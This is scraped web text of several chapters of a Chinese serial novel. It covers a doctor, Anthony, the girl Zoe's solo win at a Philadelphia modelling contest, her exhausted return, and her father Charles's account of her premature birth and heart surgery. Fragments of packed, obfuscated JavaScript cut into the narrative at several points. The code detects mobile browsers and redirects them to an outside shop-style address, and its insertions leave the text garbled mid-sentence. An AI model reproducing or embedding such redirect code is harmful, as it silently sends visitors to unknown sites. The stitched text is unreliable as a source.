d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401654|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去机场。” 还有三天。 “几号回来?” “不一定。”她说,“看能打到第几轮。” 安东尼点点头。他没说“你一定可以的”之类的话。他知道她不需要那种鼓励。她需要的不是有人告诉她“你很厉害”,她需要的是有人告诉她“你走的时候我在这里,你回来的时候我也在这里”。 “到了给我发消息。”他说,“每天。” 她抬头看了他一眼。 “不是‘嗯嗯’那种,”他说,“是真的发消息。让我知道你还活着。” 她嘴角动了一下,像是想笑,但没笑出来。 “好。” 安东尼站起来,走到办公桌前,拉开抽屉翻了翻。巧克力还剩两块,他把两块都拿出来,塞进她手里。 “拿着。路上吃。” 她低头看着手里的巧克力,然后抬起头,看着他。 “安东尼。” “嗯?” “我……”她顿了顿,像是在找合适的词,“我会回来的。” 这句话说得太认真了,认真到安东尼心里一酸。 “我知道。”他说,“我在这里等你。” 她站起来,把那两块巧克力揣进卫衣口袋里,拍了拍,确认它们不会掉出来。然后她走到门口,拉开门,回头看了他一眼。 “那我走了。” “嗯。” “你记得吃饭。别光喝咖啡。” “知道了。” 她走出去,门在身后轻轻关上。 安东尼站在办公室里,低头看了看自己的白大褂。那块湿痕已经开始变凉了。他伸手摸了摸,指尖触到一片微凉的潮意。 他走到窗边,看着楼下。过了一会儿,一个小小的身影从大楼的侧门走出来。她走得很慢,不像平时那样带着一点颠脚的节奏。走到路口的时候,她停了一下,抬起头,朝他这个方向看了一眼。 安东尼没动。他知道隔着幕墙玻璃,她看不见他。但他就站在那里,看着楼下那个模糊的、仰着脸的小影子。 她站了几秒钟,然后低下头,继续往前走。拐过转角,不见了。 他在窗边站了很久。走廊里的脚步声从密到疏,有人敲门问他下午的会诊还要不要参加。 安东尼转过身,回到办公桌前坐下来,看着对面那张空着的沙发。 沙发角落的靠垫上,有一小块颜色比别处深一点。他盯着那块深色看了一会儿,然后移开视线,拿起桌上的电话,拨了内线。 “下午的会诊我去。几点?” 对方说了什么,他没太听清,只在本子上记了个时间。 他想起她走进这间办公室的时候,抱着死沉的笔记本电脑,熟门熟路地找插座、连Wi-Fi、从糖罐子里挑棒棒糖。她在这间办公室里写过代码、画过心脏解剖图、吃过三明治、睡过午觉。她也在这间办公室里说出过“我怀疑是肾上腺皮质功能不全”。 安东尼深吸了一口气,把思绪甩开。平台上的会诊邮件跳出来,他动了动鼠标,开始看下午会诊的资料。 走廊里有人在喊他。他应了一声,站起来,拉平白大褂的衣摆。低头的时候,他又看见了胸口那块已经干透的湿痕。白大褂上留下了一圈浅浅的印子,不仔细看,看不出来。 他伸手拍了拍那个位置,然后推门走出去。 走廊里的灯亮着,护士站的电话在响,有人在推着车经过,轮子碾过地面发出咕噜咕噜的声音。一切如常。 他走到电梯口,按了下楼的按钮。电梯门开的时候,他往里看了一眼。空空的轿厢,四面不锈钢的墙,映出他自己的影子。白大褂,工牌,一个三十岁出头的男人,表情很平静。 电梯,门关上了。 电梯往下走的时候,他忽然想起一件事——她忘了拿棒棒糖。糖罐子里的棒棒糖,她每次来都要挑一支的。今天她忘记了。 他想,等她回来的时候,得让查尔斯再多补点。 13. 竞赛 安东尼收到佐伊报平安短信的时候,刚刚睡醒——佐伊是费城时间中午抵达的,伦敦这头已是傍晚,两个城市时差约五小时——安东尼下了大夜班连半个白班,刚刚补眠了六个多小时。与其说安东尼错过了佐伊第一次出远门的送机,不如说佐伊没有给他留下任何“送一下”的机会。 从希斯罗国际机场到费城国际机场,航程约8小时,从Beacon总部出发去机场,不堵车大约四十分钟。小家伙出发的时候,刚好是他的交班时间——她买票的时候算过,明显是故意的。 “平安抵达。康妮小姐全程会陪我,意料之外的是,Jotish居然随行,但听他口气,是去竞赛场上挖新鲜甜菜的。在费城的司机是查尔斯安排的。检录登记都顺利,你好好休息。” 安东尼把这条消息翻来覆去看了两遍,要素清晰,该说的都说了,让他放心,甚至让他休息,但是压根没提自己累不累,习不习惯,气候怎么样,费城的冬季又冷又湿,安东尼有点担心佐伊的循环,但犹豫了一下,没单独提醒。不过安东尼知道,康妮是查尔斯总经办五秘身边最靠谱的一个手下。平时管着灯塔总部大楼一半的物业,照顾一个孩子是绰绰有余的。 “注意休息,冬季湿冷注意保暖,别太拼,有事电话我。” 佐伊回了个猫咪乖巧点头的表情包。 此后,两人的联络就以每天几条消息的方式维持着。 费城这次数学和建模大赛的赛制有点……特殊。先是每周一场,每场24小时做六道题的团体/个人淘汰赛。连续比四周。在这个过程中淘汰掉80%的选手。最后决赛是48小时限时赛,2道小题,2道大题,基本上团队参赛者会在做大题的时候合伙轮班做。 主办方没有拒绝个人参赛,但是来报名是基本都是高校组织的团队,根据游戏规则,团队人数不得超过四人。 可佐伊就这么一个人杀过去了,顶着一个叫“Olitana Ploitan”的假名字,扎着灰色的马尾辫,蹲在赛场——一个体育馆——的桌子边,埋头敲键盘。和她身边其他团队熙熙攘攘吵吵闹闹的样子比起来,这个小家伙安静的过分。第一轮初赛的赛场上,评委看到她一个人参赛,年纪还那么小,就让她自我介绍,她说自己叫“OP”,名字不好念,叫“out put”就行。赛场就近的其他组一顿哄笑。计算机语言里output就是函数返回值,这孩子的名字,好像自己是个“答案”似的。 至于随行的Jotish,到了赛场,与评委们寒暄了一番,就跑去找老朋友喝咖啡了。至于所谓带队?有生活老师搞定后勤,佐伊不需要这个老顽童,Jotish自己也没那个心。 在安东尼眼里,佐伊进了赛场就会失联一整天,出来了就发消息报成绩。 “进了,准备收通讯设备。” “好。” 过了差不多24小时: “结束了,下周六比下一场。” “好。我刚交完班。” “嗯。今天第四道题卡了我三个多小时,还好最后换了一下思路,绕过去了。” “卡了三小时还能绕过去,厉害。” “出来以后jotish说我反应慢,但是我看他的表情,觉得这老头大概率是在坑我。” “怎么坑你?” “不知道,选手看不到小分。他们评委能看到。再看吧。” “注意休息。”安东尼回消息的时候脸上带着笑,边上的护士看见了,揶揄他在操心女儿。 “嗯嗯。”对面又是那个小猫乖巧点头的表情包。 安东尼当时说了不要“嗯嗯”的敷衍,但是恐怕这孩子现在在这件事情上,也只有发个表情包敷衍一下的心力了。 比赛之余,她完全没出去玩,这个城市仿佛对她完全没有吸引力似的——康妮做的旅行攻略全白瞎了,什么独立厅和自由钟、魔幻花园、芝士牛排,她根本不关心——只是捧着主办方赞助的移动式工作站,蹲在酒店里继续跑那个脓毒症和感染的预警模型。Jotish在去费城的飞机上和佐伊聊了聊,讲了几个模型依然存在的软件问题和硬件门槛,然后提出想把这个模型上线给Beacon试用,参与医疗决策。当然是否按照模型给的预测处理,最终决定权还在医生手里。 佐伊则一心想让医疗中心的医生们轻松一点,如果有可能的话,多救几个人。 两个人在去程的飞机上一拍即合,隔着大西洋,远程与Beacon care的后台数据较上了劲。 这一个月里,竞赛这件事活活被佐伊做成了支线任务,反而是模型进展不少。怎么说呢,比起竞赛信息,佐伊与安东尼聊的更多的恐怕还是病程资料。 到了第三场遴选赛下来的时候——主办方竟然出了一道蛋白质折叠预测的题——这精准的踩上了佐伊的兴趣点。她赛后顾不上补觉,噼里啪啦和安东尼说了一大堆还在推进中的那项人工智能(alpha fold),那些消息里的图标和参数,安东尼一个都看不懂。 他发了个猫咪叹气的表情包过去,补充说,“你在说什么天书。” 佐伊发了个哈哈大笑的猫咪回来,“没关系,回头我写程序你来用,你不需要知道它们的底层是什么,你只要告诉我准不准,好不好用,清晰不清晰,就可以了。” 很快,最后一场比完。 佐伊仰头在最终成绩的大屏幕上找假名字,找了好一会儿,然后在拿到手机的第一时刻,给安东尼报了个信。 积分榜第一名,个人第一名。 康妮闻讯来接,帮佐伊提着电脑,抱着水杯和外套,忧心忡忡的看着这个两整天没怎么睡觉也没怎么吃饭的小孩——她一个人在赛场里干12个小时,睡两个小时,睡醒了又继续干12个小时,不知什么时候,这个孩子把Jotish在Beacon赶项目的工作习惯学了个十成十。 宣布结果的时候,Jotish不在视线范围里,不知道跑哪里去玩了。佐伊不耐烦等,直接给老头打电话:“比完了,第一。我回去了。下一班回去的飞机是傍晚的。还有四小时起飞。你和我一起走吗?” Jotish说自己还要见几个人,过几天回伦敦。背景声音有点吵,感觉和一堆人在一起。佐伊嗯了一声,“那我先走了。那个模型接口我得回去看着硬件情况再写。” “颁奖你不等了?”老头想笑。这孩子做事情方式简直和查尔斯一模一样。 “你帮我带回来就行。那个模型,等你回来以后帮我最后调一轮。伦敦见。”小家伙干脆利落挂了电话,转头直接让康妮订机票。 康妮有点紧张,她是查尔斯直接喊来的人,查尔斯当时面对面给康妮提要求,要她平平安安把这孩子带过去,再平平安安带回伦敦——可眼下这孩子的脸色,好像距离平平安安有点儿距离——所以她没忍住阻拦,“你不休息一下吗?熬了两天,我看你脸色不好。” “回。”佐伊摇了摇头,“在这里我睡不着。” 康妮没接话,这相处的一个多点月,她已经大概摸到了这孩子的脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401655|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气——和自己大老板差不多,光做事,不说。已经决定的事情几乎没有被推翻的可能。但是她的决定往往是对的。 从费城登机到伦敦出境,前前后后十个小时,所有能睡的时间,佐伊都在补觉。 飞机上送餐的时候,康妮叫不醒她,只得让空姐帮忙留了两个羊角面包,但直到飞机落地,她都没吃,面包就这么垫在纸巾上,一直放在康妮面前的小桌板上。佐伊压根没力气搭理任何人——在陌生的城市陌生的环境里神经紧绷的呆了一个多月,最后还熬了两整天,她就算理智还在线,她那个身体已经受不了了,硬件过热,强制关机。 出希思罗机场机场的时候是伦敦的清晨。七点半,早高峰还没到,路上还没开始堵,但是越接近市中心,车速越缓。康妮给安东尼发了个消息。安东尼刚刚下夜班,回消息说他去车库里等,康妮让安东尼发了个停车位坐标,说直接车位交接,“您可能需要看看她,我觉得这孩子不太对劲,出海关的时候我觉得她快栽倒了。” “上一顿饭几点吃的?”安东尼打字的时候在皱眉。 “一路上没吃。她吃不动了。这两天都没好好吃饭。” “好。你尽量给她塞口糖。”安东尼回完消息,交了班,问护士要了个高糖。护士看了看安东尼的脸色,问都没问,从抢救车里直接抽了一支递过去。 安东尼坐在自己的车里,开着空调,低功率运行的引擎牵着嗡嗡的白噪音,让人有点犯困。安东尼把车窗开了一条缝。开着驾驶位的灯。看着对面承重柱上刷着的车位编号。说起来,从Beacon的地库到疗养院病房的那条路。安东尼总算会走了。从自己办公室出发,左转,钻进消防楼梯,经过设备层那扇总是关不严的防火门,再下一层楼梯,左转,换一个消防楼梯下到地库,从B-7这根柱子附近的消防门钻到隔壁停车场的消防分区,沿着通道一直走到C-5,找到疗养院疏散楼梯,右转第二扇防火门,走进去以后先上到公区,再从走道尽头的楼梯间上楼,三楼尽头那个房间,是佐伊的。佐伊后来带他走了三遍,他才终于不迷路了。 等了一会儿,一辆车转进了地库。 这辆黑色商务车安东尼认识——佐伊还小一点的时候,去学院找安东尼听讲座,一直是这辆黑色的商务车接车送,后来她去牛津听讲座,也是这辆车。查尔斯给她配的,虽然用得不多。但是显然是她的专车。 安东尼闪了闪车灯。 商务车停了,副驾驶的康妮下来开后座的车门。安东尼也下了车。 佐伊还睡着,脑袋靠在后座玻璃窗上,整个人被安全带绑着才没滑下椅子。康妮推了推,叫不醒,神色开始有点慌张,转头给安东尼解释,“出海关的时候有点晃,我去搀着她,她不肯,说只是有点累。” 安东尼没说话。他弯下腰,伸手搭上佐伊的脉。手腕很细,皮肤凉凉的,脉搏跳得有点快,但还算规律。他又摸了摸她的额角,也是凉的,微微有一层薄汗。没有发烧。不是感染,不是心脏的问题——就是累的。累透了,身体强制关机了。血糖大概在临界低值扛了一路,能撑到伦敦已经是极限了。 “醒醒。”安东尼开了安瓿瓶,把糖水倒进纸杯里,伸手拍了拍佐伊的脸,是那种复苏室喊病人清醒的拍,“到家了,喝点东西再睡。” 听到熟悉的声音,佐伊醒了,“安东尼?” “嗯,喝。” 高糖甜的发齁。小家伙什么都没说,两口喝完——大概是喝惯了——往安东尼怀里一埋,像一只终于找到了窝的猫。 14. 长谈 安东尼照顾着佐伊,让她在疗养院的小床上睡下。然后掏出手机,给查尔斯发了个消息,“到疗养院,已经睡了,状态还行但是累坏了。” “好的,辛苦了,谢谢。” 查尔斯秒回的。七年来,这样的消息,安东尼手机里已经累积了近百条。这个大老板不擅长表达关心和感谢,说来说去,递到安东尼手上的,总是这句话。 安东尼看了看厚毯子包裹下佐伊的睡颜,刚准备把手机放回口袋,又震了一下,还是查尔斯。 “今晚是否有空,明日值班否?约你有事谈。” 安东尼觉得这是大老板跟自己说的信息密度最高的一条消息。他低头算了算自己必须补的觉和休息的时间,回了一条,“晚上八点。可以。” “20:00,行政楼顶层,19:55我给你工牌发临时通行许可。三号电梯29楼。” —— Beacon大厦总共也只有29层,最顶层是查尔斯自己的办公室,安东尼是第一次来。之前的所有见面都控制在会议室里。而这里,显然是老板的私人空间。 “进。” 安东尼是准点敲门的。查尔斯释放了门禁,让他进来。办公桌上的显示屏亮着,在锁屏界面上。办公室的主灯没开,书桌边的阅读灯和待客椅边的环境光亮着。整个空间是灰白色和棕色调子的,家具款式里透着舒适和亲切,这不太像集团大总裁的办公室,倒有点像他家。 “晚上好。”安东尼就穿着平时外出的冬季风衣,里面搭的夹克与贴身衬衣。 “坐。”查尔斯从办公桌后面站起来,绕到待客沙发边,“明天不值班的话,喝一点?” 安东尼点了点头。 说实话,他在来的路上没忍住揣测今晚的话题。关于自己的项目,关于佐伊的情况,关于beacon的学术方向?关于那个医疗顾问的合同,关于年薪,关于是否还有留在Beacon的资格?但不管是什么事,他预感到自己应该会需要一点酒精。 查尔斯拿了两个杯子,沙发的边几上放着一盘预先准备好的佐酒蜜瓜、还有一盘火腿及奶酪。冰球在杯子里轻轻碰了一下,薄薄一层液体沉在杯底,木头的香气和烟熏的风味在杯口散开来。 窗外,灯塔的光一圈一圈转着。 “我要先说抱歉,那时候瞒了你。”查尔斯说着,侧了侧身,把酒杯递了过去。 安东尼倾身接了杯子,没说话。他定定的看着眼前这个男人,几乎是一瞬间就知道查尔斯在说什么。 ——七八年前,他刚刚被查尔斯从新加坡挖过来的时候,只知道佐伊是个“有价值的病例”,是查尔斯这个大老板送来的人,但不知道她七岁以前的事。他以为那是个正常家庭养大的孩子。挺聪明,只是运气不好有先心病,和其他来做根治术的孩子没什么太大的不同。后来他知道不是了。他花了七年的时间默默观察,看着这个孩子以一种超乎所有人预期的方式长大,但依然在等一个答案。 毕竟,他无数次怀疑过,尤其是佐伊的头发变了颜色,他打电话问查尔斯的那一次。 “我能感到你大约一直在猜,瞒着这件事,对这段关系也没有好处。”查尔斯看着安东尼一脸了然的表情,笑了笑,“是的,她是我女儿。我唯一的孩子。” 安东尼仰头看着查尔斯在自己对面慢慢坐下。两个人端着杯子的手都轻轻抖了一下。他们都在紧张。 “她刚出生的时候,早产两个月,只有1500克。哭一声紫一阵,喘五分钟。躺在保温箱里,我碰都不敢碰,每天半小时探视时间,我和其他家长一样在NICU外面等。” 安东尼皱了皱眉。早产,极低体重,严重先心,肺没发育好,长期缺氧,喂养困难,发育迟缓,预后极差。这些词在他脑子里自动连成一条线。 “医生说她如果不干预,活不到两岁,但就算熬过了手术,能活到五岁的概率,不超过40%。”查尔斯的声音很平静,像在说别人的事,“结合一系列可能的并发症及感染,活到成年的概率,不超过25%。有生存质量地活到成年的概率,不超过10%。” 安东尼屏住呼吸。但他张了张嘴,想问什么——为什么出生前没发现? 话到嘴边,他顿住了。 因为他忽然意识到,那不是此刻的2012年,是十五年前。1997年。那时候全世界的产前诊断水平还比较初级,他自己也查过数据,复杂先心的产前检出率仅13.7%。至于那时候的伦敦,甚至还没有强制建档。四腔心切面筛查的敏感度只有40%,而且只针对少数教学医院的高危人群。所以即使这孩子的母亲按时产检,即使她做了B超,也可能什么都没发现。 “你想问为什么没查出来?”查尔斯像是看穿了他在想什么。 安东尼没说话,他知道答案。 “那时候,胎儿心脏不是常规筛查项目。”查尔斯说,“就算做B超,也只看四腔心——四个腔在不在,在,就过了。法洛四联症,四腔心切面上可能看起来是正常的。” 安东尼点点头。现在的医生都知道这个。但十四五年前,大家都不知道。 “而且……”查尔斯顿了顿,“尤兰达那段时间在实验室冲刺一个关键数据,每天至少工作十四小时。等她想起来要建档的时候,已经快二十周了。” 安东尼叹了口气,仿佛早就料到似的反问,“优兰达?优兰达-普林斯那个优兰达?MDC的研发首席?” “佐伊与你提过?”查尔斯微微笑了。 “不。普林斯教授的讲座,哪个Beacon的医生没听过?她拿着心衰的靶向药来Beacon,一脸平静得说,这是某个项目副产品,但目前看来很有潜力……说话的节奏和断句的模式,佐伊和她一模一样。”安东尼又气又好笑,在这个问题上,他的确已经憋了很久了……毕竟,他可能是被调侃佐伊是他“女儿”最多的人。没有之一。 “我们这群医生看着她长大,这么多年了,她的药学底子扎实到简直无法解释……而且,她从来没问过我这方面问题,唯一的可能就是,她另有一个药学方向的导师。该死的,她自己还姓普林斯。” “对,她跟妈妈姓。我好多次听到你们有人说佐伊像我,其实她不太像我,更像妈妈。只是,她妈妈爱她的方式不太一样。” “是哪种不一样?”安东尼喝了一口杯子里的琥珀色液体,冰冷的液体在食道里变得灼热。 “优兰达生完孩子,哭了两天。她后来跟我说,那段时间脑子里翻来覆去地想,早产是不是可以避免,先心病是不是意外,是孕期太累了吗,是实验室里不小心接触了什么吗,是不是基因的问题,是她自己的,还是我的。” “她跟我仔仔细细算了一笔账,关于感情的。她说她不敢投。因为如果她在这个孩子身上倾注太多,万一孩子真的离开了,她会承受不了的。她的项目不能没有她,等着用新药的更多的孩子以及病人不能没有她,她的团队不能没有她。所以,她没法在这个孩子身上倾注感情,她赌不起那个10%,她在做的药赌不起这10%。所以,她休了三个月产假,隔着保温箱亲了亲自己的孩子,就回实验室去了。” 沉默在两个男人之间蔓延了一会儿,安东尼深吸了一口气,“你那时候是怎么……怎么熬过来的?” 查尔斯愣了一下。然后他笑了。不是苦笑,是一种很淡的、带着点距离感的笑。像是在跨越时空的间隙,审视过去的那个自己。 “就这样。”他说。他端起杯子,看着里面琥珀色的液体。“我那时候刚从自己家族手里把能源和运输这摊子生意接过来。生意不大,在几个巨头的夹缝里生存。” 安东尼默默听着。 “我也算账。算了算自己的公司应该没那么容易垮,养一个需要医疗支持的孩子要花多少钱,我在想,不管怎么说,养她一辈子应该还是够的。” 安东尼皱了一下眉。算账。这个词从查尔斯嘴里说出来,和从尤兰达嘴里说出来,不是一个意思。 “优兰达不敢投,于是我就投了。找保姆,找有医疗资质的疗养院,找老师。我太忙,抽不开身,只能在有空的时候去看看她。”查尔斯顿了顿,“我那时候不敢想她几个月和几年以后的事情。甚至不敢想下周的事。” “就只想着今天。今天她还活着。今天我有三个小时空,能带她去看看外面。今天她喝奶了吗,喝了多少,吸氧了吗,今天她睡了多久,今天她有没有不舒服,有没有发烧。” “但是……”安东尼问,“在疗养院那种地方……她过得好吗?” 查尔斯沉默了,“她从出生开始,就不知道正常的生活是什么样的,她以为所有孩子都是这样的,当时那个疗养院里的孩子……都是各种各样多少有疾病或者缺陷的孩子。不过还好,保姆不敢欺负她。” 安东尼没说话,等着。 “我专门给她找了两个有医疗资质的退休护士做保姆。像她那样的孩子,就算再乖再安静,也属于很难带的。生理特点决定的。睡不久,总是被憋醒,不管几点,醒了就要找人。免疫很差,上呼吸道感染总要转成肺炎,就需要特别照顾。荨麻疹会变成皮肤病,就需要浑身涂药。吃饭慢,吃快了要呛,就要等。跑得慢,走得慢,个子矮,在疗养院里被别的孩子欺负,又不能拦着她自己发展起来的社交。几乎每天,那两个保姆都在抱怨。不过,大概是看在工资的份上,也不敢真的亏待她。” 安东尼点点头。病理生理,他都理解。人性的那部分,他也理解。 “疗养院有不少孩子玩的地方。滑梯,沙坑,小院子,小动物园,菜地,木工场地……那些什么有点轻微兔唇或者是肢体不灵便的孩子,都在那边玩,看顾他们的保姆很头疼,一群孩子整天脏兮兮的,我有时候过去,就看到保姆满院子抓孩子,抓回去洗澡。但佐伊,几乎都是在图书室和病房里度过的。”查尔斯顿了顿,“保姆甚至不敢在秋冬季带她出门。” 安东尼皱了一下眉。 “空气太冷。她很容易受不了。在冷风里稍微吹一会儿,嘴唇就发紫。” 安东尼知道。他见过那种发紫。法洛四联症的典型表现,缺氧发作时的信号。 “所以她只能待在屋里。图书室有暖气,有时候老师给她读绘本,大部分时候她都自己看,优兰达那时候会给我一些东西,让我顺便带过去,一些护理指南,一些疾病的指南,还有很多专业书,她就说带给佐伊,我一直以为优兰达想拿这些指南考核保姆和疗养院。后来我发现,佐伊自己居然在看这些东西。她就坐在那儿翻书,偶尔抬头,看窗外别的孩子玩。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401656|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安东尼握着杯子的手微微收紧,“那,她问过为什么不能出去吗?” 查尔斯想了想,“问过。保姆说,外面冷,出去会生病。她就不问了。” “不问了?” “也不是完全顺从。这孩子好奇心还是在的。有一次,四周岁刚过,她趁着保姆没看住,跑出去玩雪,其他调皮的孩子欺负她,把冰冷的雪灌进她的领子,不到十分钟,她就一头栽倒在地上。末梢血太凉,循环到心脏,她根本承受不了。” 安东尼沉默了。他知道那个,心输出量骤降,抢救稍慢一分钟,就是心源性猝死。 “幸好医生就在楼里,救回来了。这件事,她可能至今都没忘记,所以她很快就理解了,自己和其他孩子不一样。不是委屈的那种理解,是……接受。就像接受天气一样。” “我那天收到消息,撇下抓着我拍板决策的那群董事,去疗养院找她。她还吸着氧,看到我的时候,意识已经清楚了,伸手要我抱。” “我问她,还疼吗。” “然后她摇摇头,对我说,查尔斯,原来雪是凉的。她那时候就就开始叫我查尔斯,或者查理,因为其他人都这么叫我。” “我没让他喊我爸爸,那时候我在想,一个伦敦长大的孩子,四周岁了,没有摸过雪。我觉得自己没资格被一个这样的孩子叫爸爸。” 安东尼没插嘴,静静听着。 “其实我早就想给她安排根治术,让她一般情况好一点,可以出去玩玩,跑一跑,玩玩雪。可总是被其他并发症拖着。”查尔斯说,“一会儿肺炎,一会儿感染,一会儿意外,一会儿免疫不好,一会儿呼吸不好,一会儿血小板低了,一会儿粒细胞缺了。就这样一直拖,拖到七岁,才等到一个上台再赌一把的窗口。那时候我给她约择期,麦克斯说跟我说,就这三五个月,不能再等了。” “所以我那时候说,最多等你三个月,再久,等不了了。” 安东尼知道那个“上台再赌一把”是什么意思。法洛四联症根治术,要在体外循环下修补室间隔缺损,疏通右心室流出道。对足月出生,虽然有先心疾病,但其他生理基础基本正常的孩子来说,这是风险可控的手术。但对佐伊——1500克出生,肺没发育好,免疫差,反复感染——每一次上台,都是在赌。 “手术做了六个多小时。ICU里躺了一个月。你亲自管的,你都知道。” 安东尼握着杯子的手顿了一下。他太知道了,他亲手捞回来的孩子。呼吸机肺炎,心包穿刺,感染关,营养关……一天一天地熬,一天一天地数,一关一关的闯。 那时候,安东尼只知道那是一个术后危重的病例,法洛四联症根治术,反复濒危,四次被他拉回来。他知道这是个不错的病例,但他不知道那是查尔斯的女儿。他只知道那是一个需要他看着的,容易出事的孩子。所以他就看着了。 “后来她从ICU转去普通病房,又住了两个月。” 安东尼点点头。 “对我来说,那几个月的记忆很模糊。”查尔斯说,“澳洲和南美的煤炭生意在谈判,我带了两个副总和两个秘书跟着,副总配合我谈商务,一个秘书帮我们办杂事,另一个拎包的,专门帮我盯着手机。我怕你打电话过来。那电话,我都不确定自己敢不敢接。” “我只敢付钱,不敢进ICU,你那时候发消息问我要不要进去看看,跟我说她清醒着,我推脱说自己全世界到处飞,不知道哪儿的病毒被我带进去,还是算了。” “那么多商业竞争我都赌赢了,佐伊的这一把,我还是怕。” 杯子里的冰块化了一些,酒液顺着冰球的裂缝爬进去,这个冰块都折射出了琥珀色的辉光。 安东尼晃了晃杯子,低头喝了一口已经被稀释的酒,“我那时候觉得这个投资人还挺负责,不计代价救了个孩子。就是不太出现,也看不出为什么重视这个小孩。” “你现在知道了。”查尔斯放松的靠在沙发上,像是终于卸下了什么担子似的。 安东尼清了清嗓子,摇了摇自己手里的酒杯,听着那化了一半的冰块和玻璃杯碰撞的轻微的声音,没忍住轻轻笑了笑,“要是那时候我就知道你是她爸爸,保准踹你几脚。” 查尔斯也笑了,直起身,和安东尼轻轻碰了碰杯,“没事,你现在也可以踹。” “你知道你最可恨的是什么时候吗?”安东尼看着查尔斯,不是那种职业的,医生看着家属的微笑,而是……一种对家人的行为无可奈何,但是又格外理解的微笑,“我那时候推佐伊去病房,你在电梯间里跟她大眼瞪小眼,然后那孩子居然先开口跟你说,好久不见。我在想,这两个人谁和谁啊?还没想完,佐伊挥了挥手叫你去忙吧。她说她没事,你就真的不跟了?” 查尔斯没忍住叹了一口气,眼眶有点红,“她小时候,生命里到处都是分别,保姆带半年不带了,老师教几个月转走了,医生给她治过病,然后消失了。我也只能偶尔出现。她一直在期待一个陪伴她的人,我也是后来,很后来才意识到这一点。” “所以,谢谢你,安东尼。谢谢你没走。”那个一只手掌握着小半个欧洲能源和运输产业的男人,郑重得举了举杯。 安东尼举杯回应了一下。 “不客气,她也是我选的人。” 15. 她也选了你 查尔斯笑了,把蜜瓜和奶酪盘往安东尼手边推了推,“我不知道你什么时候选了她,但是,你,也是她选的。” “她可以出院那天,刚过完七岁生日两个月。我有一天带她出去吃饭,问她,要不要去学校里读书,交朋友。然后她问了我很多问题。学校是什么,在学校里会干什么,一天待几个小时,具体学什么东西。” “我给她找了几家私立学校的教材和日程安排,她翻了一遍。” “然后呢?”安东尼有点好奇。 查尔斯笑了一下,“然后她说,真没意思。你懂那个语气吗,我在她面前的时候,觉得自己是个不知道怎么讨好孩子的傻爸爸。” 安东尼愣了一下。 “她见我不说话,就开始自己提要求,她说,她要看妈妈给的资料,想交医生朋友。告诉我,她想留在医院里,医院里挺好。” 安东尼沉默了。他想起那时候,他经过疗养院的玻璃回廊,看见那个孩子坐在花园里看书。有时候她抬头,看见他,就点点头。他也点点头。然后他继续去查房,她继续看书。他那时候以为,这就是他和这个病例的一切了。一个术后恢复得还不错的孩子,偶尔见一面,点个头,然后各走各的路。直到这个孩子有什么其他的——需要住院的需要治疗的——需要,才会继续履行他与查尔斯的“合约”。 然后,他想起来佐伊约他时间复查时一起吃的那顿三明治,以及这个孩子一本正经的告诉自己说,她已经和查尔斯谈过了。 他那时候不知道她期待着“医生朋友”。 “你那时候怎么想的?”他问。 查尔斯沉默了一会儿。“我那时候想,她可能会很像很像尤兰达。那种思维方式,那种把世界拆成问题的习惯,一模一样。” 他顿了顿。 “但还有一件事。影响了我的决定。” “一个可能活不到成年的孩子,开口说学校没意思。而且,就在那个档口,尤兰达发邮件告诉我,她投的黑洞有回声了。优兰达知道佐伊的邮箱,我很早帮她申请的,优兰达就往里丢资料,丢书,论文,讲座视频。也不管这孩子是不是看得懂,”查尔斯说,“她那时候,发现佐伊开始回邮件了,问题还都问在点子上,所以,她决定收下这个编外的‘研究生’。” 安东尼愣了一下。他想起那些年佐伊收到的邮件,那些论文,那些问题。原来从那么早就开始了。 他看着窗外,灯塔的光一圈一圈转着。 “所以我决定了,放弃了传统教育和贵族学校,那就让她去做自己觉得有意思的事情吧。” 安东尼听见这句话,握着杯子的手紧了紧。 “所以你就让她留下来了?” “所以我就让她留下来了。”查尔斯停顿了一下,“我在投资医疗条线的时候,beacon医疗中心还没有正式的疗养部门,没有配套执照和资质,只有几个长期病房,托管在全科医生手里。可是,佐伊说想留在医院,所以,后来就有了。” 安东尼愣了一下,“你……” “我找人准备资料,办资质,腾出来Beacon长期病房的两层楼。专门收那种需要长期医疗监护的孩子。那边本来就是备用的病房,调整一下很容易。”查尔斯看着安东尼。“她是第一个住进去的。而且,她是第一个让我知道,这种东西应该存在的人。” 安东尼叹了口气。“难怪那时候我在疗养院里看到她,进进出出的。我想她不是可以出院了么,恢复的挺好的,为什么不回家。” 查尔斯笑了一下。“疗养院那边护士和病区的主任一直跟我的秘书抱怨,说有一个小孩总是往住院部跑,问要不要管。我就问这个小孩到底在干嘛,他支支吾吾了一下,说这小家伙跟着查房。我又追问了一下,他们说,那个住疗养病房的小孩总跟着安东尼。” “所以,她也选择了你。” 安东尼回忆起了那段事,心里一暖。他端起杯子,喝了一口。冰球轻轻碰了一下杯壁。 “说起来……”他放下杯子,“她那时候混进病房,还挺难抓的。” 查尔斯看着他。 